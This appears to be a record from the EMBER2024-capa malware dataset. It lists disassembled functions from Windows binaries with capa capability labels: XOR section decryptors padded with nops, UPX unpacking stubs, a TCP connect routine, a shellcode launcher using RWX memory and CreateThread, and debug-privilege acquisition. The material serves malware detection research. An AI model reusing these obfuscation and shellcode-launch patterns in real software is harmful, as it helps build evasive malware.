joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x7d517174
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x42f314
nop
mov ecx, 0x215710b2
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x433001
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x29fb0529
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x611e56b6
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4035a0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x405af0
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov ecx, 0x1369e
xor eax, eax
lea edi, [esi + 0x10]
mov dword [esi + 8], 0xffffffff
rep stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x403680
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov eax, dword [0x407444]
push ebx
push esi
push edi
push 0x40
push 0x3000
push eax
mov esi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x407444]
mov edi, eax
mov edx, ecx
add esi, 0x4da90
mov ebx, edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
test ebx, ebx
pop ebx
jne 0x4036c2
xor eax, eax
ret
push 0
push 0
push eax
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
ret

Function at 0x403700
Capabilities:
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x14
push edi
push 6
push 1
mov edi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [edi + 8], eax
jne 0x403723
xor eax, eax
pop edi
add esp, 0x14
ret 8
push ebx
push ebp
push esi
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [esp + 0x2c]
mov ebp, dword [esp + 0x28]
mov dword [esp + 0x10], eax
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov esi, eax
mov word [esp + 0x18], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x16], ax
mov eax, dword [esi + 0xc]
push str.connect
mov ecx, dword [eax]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [ecx]
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [edi + 8]
lea ecx, [esp + 0x14]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x4037a1
mov eax, dword [edi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [edi + 0xc]
push 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40373d
push 0
push 0
push edi
push 0x4037d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 0x14
ret 8
Function at 0x438860
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x22000]
push edi
or ebp, 0xffffffff
jmp 0x438882
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x438889
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x438878
pushfd
xor eax, eax
inc eax
popfd
add ebx, ebx
jne 0x43889b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x438890
jne 0x4388ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x438890
xor ecx, ecx
sub eax, 3
jb 0x4388c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x438932
mov ebp, eax
add ebx, ebx
jne 0x4388cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4388d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4388fc
inc ecx
add ebx, ebx
jne 0x4388e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4388dd
jne 0x4388f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4388dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43891c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43890d
jmp 0x43887e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43891c
add edi, ecx
jmp 0x43887e
pop esi
mov edi, esi
mov ecx, 0xe0e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43893a
cmp byte [edi], 0xa
jne 0x43893a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x43893f
lea edi, [esi + 0x36000]
mov eax, dword [edi]
test eax, eax
je 0x4389b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3820c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x382ac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43896c
push edi
pop ecx
jns 0x43899b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x382b0]
test eax, eax
je 0x4389b1
mov dword [ebx], eax
add ebx, 4
jmp 0x438989
call dword [esi + 0x382b4]
popal
jmp 0x41be59

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
nop
mov ecx, 0x400703ff
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x1e091f83
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x412210
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41223d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41223d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6a
sub eax, 0x403d10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp int.00401219

Function at 0x418180
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x12000]
push edi
or ebp, 0xffffffff
jmp 0x4181a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4181a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x418198
mov eax, 1
add ebx, ebx
jne 0x4181bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4181b0
jne 0x4181cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4181b0
xor ecx, ecx
sub eax, 3
jb 0x4181e0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x418252
mov ebp, eax
add ebx, ebx
jne 0x4181eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4181f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41821c
inc ecx
add ebx, ebx
jne 0x418208
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4181fd
jne 0x418219
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4181fd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41823c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41822d
jmp 0x41819e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41823c
add edi, ecx
jmp 0x41819e
pop esi
mov edi, esi
mov ecx, 0x3b2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41825a
cmp byte [edi], 0
jne 0x41825a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41825f
lea edi, [esi + 0x16000]
mov eax, dword [edi]
or eax, eax
je 0x4182ce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x180b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18114]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41828c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x18118]
or eax, eax
je 0x4182c8
mov dword [ebx], eax
add ebx, 4
jmp 0x4182a9
call dword [esi + 0x1811c]
popal
jmp 0x40a630
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x4c3c6ee0
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x20ea32d6
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x3a2c54
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x3d6008], 0x8088405
inc edx
mov dword [ebx + 0x3d6008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x3aaeb8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, ecx
mov dword [esp], 0x4e67c6a7
dec edx
test edx, edx
jl 0x3aaee8
inc edx
xor ecx, ecx
mov ebx, dword [esp]
shl ebx, 5
movzx edi, byte [eax + ecx]
add ebx, edi
mov edi, dword [esp]
shr edi, 2
add ebx, edi
xor dword [esp], ebx
inc ecx
dec edx
jne 0x3aaecd
mov ecx, esi
mov eax, esp
mov edx, 4
call fcn.003a6fcc
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x3b05a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, eax
mov edi, dword [ebx + 0x24]
mov esi, dword [ebx + 0x34]
sub esi, dword [ebx + 0x6c]
sub esi, dword [ebx + 0x64]
test esi, esi
jne 0x3b05ca
cmp dword [ebx + 0x64], 0
jne 0x3b05ca
cmp dword [ebx + 0x6c], 0
jne 0x3b05ca
mov esi, edi
jmp 0x3b0662
cmp esi, 0xffffffff
jne 0x3b05d5
dec esi
jmp 0x3b0662
mov eax, dword [ebx + 0x64]
lea edx, [edi + edi]
sub edx, 0x106
cmp eax, edx
jb 0x3b0662
mov eax, dword [ebx + 0x30]
lea edx, [eax + edi]
mov ebp, edi
mov ecx, ebp
call fcn.003abe2c
sub dword [ebx + 0x68], edi
sub dword [ebx + 0x64], edi
sub dword [ebx + 0x54], ebp
mov eax, dword [ebx + 0x44]
mov edx, dword [ebx + 0x3c]
lea edx, [edx + eax*2]
mov dword [esp], edx
sub dword [esp], 2
mov edx, dword [esp]
movzx edx, word [edx]
cmp edi, edx
ja 0x3b0622
sub dx, di
mov ecx, dword [esp]
mov word [ecx], dx
jmp 0x3b062a
mov edx, dword [esp]
mov word [edx], 0
dec eax
test eax, eax
jne 0x3b0609
mov eax, edi
mov edx, dword [ebx + 0x38]
lea edx, [edx + eax*2]
mov dword [esp], edx
sub dword [esp], 2
mov edx, dword [esp]
movzx edx, word [edx]
cmp edi, edx
ja 0x3b0653
sub dx, di
mov ecx, dword [esp]
mov word [ecx], dx
jmp 0x3b065b
mov edx, dword [esp]
mov word [edx], 0
dec eax
test eax, eax
jne 0x3b063a
add esi, edi
mov eax, dword [ebx]
cmp dword [eax + 4], 0
je 0x3b06c0
mov edx, dword [ebx + 0x64]
add edx, dword [ebx + 0x6c]
mov ecx, dword [ebx + 0x30]
lea edx, [ecx + edx]
mov ecx, esi
call fcn.003b02d0
add dword [ebx + 0x6c], eax
cmp dword [ebx + 0x6c], 3
jb 0x3b06ab
mov eax, dword [ebx + 0x64]
mov edx, dword [ebx + 0x30]
movzx eax, byte [edx + eax]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebx + 0x50]
shl eax, cl
mov edx, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
movzx edx, byte [ecx + edx + 1]
xor eax, edx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp dword [ebx + 0x6c], 0x106
jae 0x3b06c0
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x3b05aa
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x3b1590
Capabilities:
Hash data with crc32

Disassembly:
push ebx
xor ebx, ebx
mov ecx, 0x3d98bc
mov eax, ebx
mov edx, 8
test al, 1
je 0x3b15ac
shr eax, 1
xor eax, 0xedb88320
jmp 0x3b15ae
shr eax, 1
dec edx
jne 0x3b159f
mov dword [ecx], eax
inc ebx
add ecx, 4
cmp ebx, 0x100
jne 0x3b1598
pop ebx
ret
Function at 0x3b15c4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.003a4534
xor eax, eax
push ebp
push 0x3b1633
push dword fs:[eax]
mov dword fs:[eax], esp
or ebx, 0xffffffff
mov eax, dword [ebp - 4]
call fcn.003a4344
test eax, eax
jle 0x3b161b
mov edx, 1
mov ecx, dword [ebp - 4]
movzx ecx, byte [ecx + edx - 1]
mov esi, ebx
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0x3d98bc]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x3b15f7
not ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b163a
lea eax, [ebp - 4]
call fcn.003a4074
ret

Function at 0x3b1644
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push ecx
mov dword [esp], eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0x3b1678
inc edx
xor ecx, ecx
mov ebx, dword [esp]
movzx ebx, byte [ebx + ecx]
mov esi, eax
and esi, 0xff
xor ebx, esi
mov ebx, dword [ebx*4 + 0x3d98bc]
shr eax, 8
xor ebx, eax
mov eax, ebx
inc ecx
dec edx
jne 0x3b1655
not eax
pop edx
pop esi
pop ebx
ret

Function at 0x3b1680
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push ecx
mov dword [esp], eax
or eax, 0xffffffff
dec edx
test edx, edx
jl 0x3b16b4
inc edx
xor ecx, ecx
mov ebx, dword [esp]
movzx ebx, byte [ebx + ecx]
mov esi, eax
and esi, 0xff
xor ebx, esi
mov ebx, dword [ebx*4 + 0x3d98bc]
shr eax, 8
xor ebx, eax
mov eax, ebx
inc ecx
dec edx
jne 0x3b1691
not eax
pop edx
pop esi
pop ebx
ret
Function at 0x3b17fc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.003a4534
xor eax, eax
push ebp
push 0x3b1955
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.003a4074
mov eax, dword [ebp - 4]
call fcn.003a4344
mov edi, eax
test edi, edi
je 0x3b193f
mov eax, dword [ebp - 4]
call fcn.003b15c4
mov dword [ebp - 0xc], eax
lea edx, [edi + 4]
lea eax, [ebp - 4]
call fcn.003a4688
lea eax, [ebp - 4]
call fcn.003a459c
lea edx, [eax + edi]
lea eax, [ebp - 0xc]
mov ecx, 4
call fcn.003a2a8c
mov eax, dword [ebp - 4]
call fcn.003a4344
mov edi, eax
mov eax, ebx
shr eax, 0x18
mov byte [ebp - 0x10], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp - 0xf], al
mov eax, ebx
shr eax, 8
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], bl
dec esi
cmp esi, 0
jb 0x3b1934
mov dword [ebp - 8], esi
lea eax, [ebp - 4]
call fcn.003a459c
mov edx, dword [ebp - 4]
mov dl, byte [edx]
mov cl, byte [ebp - 0xf]
add dl, cl
mov byte [eax], dl
mov esi, edi
sub esi, 2
jb 0x3b18e2
inc esi
mov ebx, 2
lea eax, [ebp - 4]
call fcn.003a459c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 2]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + ebx - 1]
add dl, cl
mov cl, byte [ebp - 0xd]
xor dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x3b18bd
lea eax, [ebp - 4]
call fcn.003a459c
mov edx, dword [ebp - 4]
mov dl, byte [edx + edi - 1]
mov cl, byte [ebp - 0x10]
add dl, cl
mov byte [eax + edi - 1], dl
mov ebx, edi
dec ebx
cmp ebx, 1
jb 0x3b1927
lea eax, [ebp - 4]
call fcn.003a459c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + ebx - 1]
add dl, cl
mov cl, byte [ebp - 0xe]
xor dl, cl
mov byte [eax + ebx - 1], dl
dec ebx
test ebx, ebx
jne 0x3b1902
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffff
jne 0x3b189c
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.003a40c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b195c
lea eax, [ebp - 4]
call fcn.003a4074
ret
Function at 0x3b1968
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.003a4534
xor eax, eax
push ebp
push 0x3b1ab4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.003a4074
mov eax, dword [ebp - 4]
call fcn.003a4344
mov edi, eax
test edi, edi
je 0x3b1a9e
mov eax, esi
shr eax, 0x18
mov byte [ebp - 0xc], al
mov eax, esi
shr eax, 0x10
mov byte [ebp - 0xb], al
mov eax, esi
shr eax, 8
mov byte [ebp - 0xa], al
mov eax, esi
mov byte [ebp - 9], al
dec ebx
cmp ebx, 0
jb 0x3b1a65
mov dword [ebp - 8], ebx
mov esi, edi
dec esi
test esi, esi
jbe 0x3b1a00
mov ebx, 1
lea eax, [ebp - 4]
call fcn.003a459c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, byte [ebp - 0xa]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + ebx]
sub dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x3b19de
lea eax, [ebp - 4]
call fcn.003a459c
mov edx, dword [ebp - 4]
mov dl, byte [edx + edi - 1]
mov cl, byte [ebp - 0xc]
sub dl, cl
mov byte [eax + edi - 1], dl
mov ebx, edi
cmp ebx, 2
jb 0x3b1a44
lea eax, [ebp - 4]
call fcn.003a459c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, byte [ebp - 9]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + ebx - 2]
sub dl, cl
mov byte [eax + ebx - 1], dl
dec ebx
cmp ebx, 1
jne 0x3b1a1f
lea eax, [ebp - 4]
call fcn.003a459c
mov edx, dword [ebp - 4]
mov dl, byte [edx]
mov cl, byte [ebp - 0xb]
sub dl, cl
mov byte [eax], dl
dec dword [ebp - 8]
cmp dword [ebp - 8], 0xffffffff
jne 0x3b19d2
lea eax, [ebp - 4]
call fcn.003a459c
mov ebx, edi
sub ebx, 4
mov edx, ebx
call fcn.003b1644
mov esi, eax
lea eax, [ebp - 4]
call fcn.003a459c
add eax, ebx
cmp esi, dword [eax]
jne 0x3b1a9e
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
call fcn.003a40c8
mov edx, ebx
mov eax, dword [ebp + 8]
call fcn.003a4688
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b1abb
lea eax, [ebp - 4]
call fcn.003a4074
ret
Function at 0x3b206c
Capabilities:
Acquire debug privileges

Disassembly:
mov dl, 1
mov eax, 0x3b21bc
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b21dc
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b21f4
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2218
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2240
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2268
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b228c
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b22b0
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b22cc
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b22e8
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2308
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2328
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2348
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2370
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b238c
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b23b4
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b23dc
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2400
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b241c
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2440
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2460
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2480
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b249c
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b24b8
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b24d4
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b24fc
call fcn.003b1c14
mov dl, 1
mov eax, 0x3b2518
call fcn.003b1c14
ret

Function at 0x3b26e4
Capabilities:
Parse pe header

Disassembly:
add esp, 0xfffffff8
xor edx, edx
mov ecx, eax
mov dword [esp], ecx
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [esp + 4], ecx
mov eax, dword [esp]
cmp word [eax], 0x5a4d
jne 0x3b2725
mov eax, dword [esp + 4]
cmp dword [eax], 0x4550
jne 0x3b2725
mov eax, dword [esp + 4]
mov ax, word [eax + 0x16]
test ah, 0x20
je 0x3b2725
and ax, 2
cmp ax, 2
sete dl
mov eax, edx
pop ecx
pop edx
ret

Function at 0x3b272c
Capabilities:
Parse pe header

Disassembly:
add esp, 0xfffffff8
xor edx, edx
mov ecx, eax
mov dword [esp], ecx
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [esp + 4], ecx
mov eax, dword [esp]
cmp word [eax], 0x5a4d
jne 0x3b277d
mov eax, dword [esp + 4]
cmp dword [eax], 0x4550
jne 0x3b277d
mov eax, dword [esp + 4]
mov ax, word [eax + 0x16]
test ah, 0x20
je 0x3b277d
mov ecx, dword [esp + 4]
movzx ecx, word [ecx + 0x14]
cmp ecx, 0xe0
je 0x3b277d
and ax, 2
cmp ax, 2
sete dl
mov eax, edx
pop ecx
pop edx
ret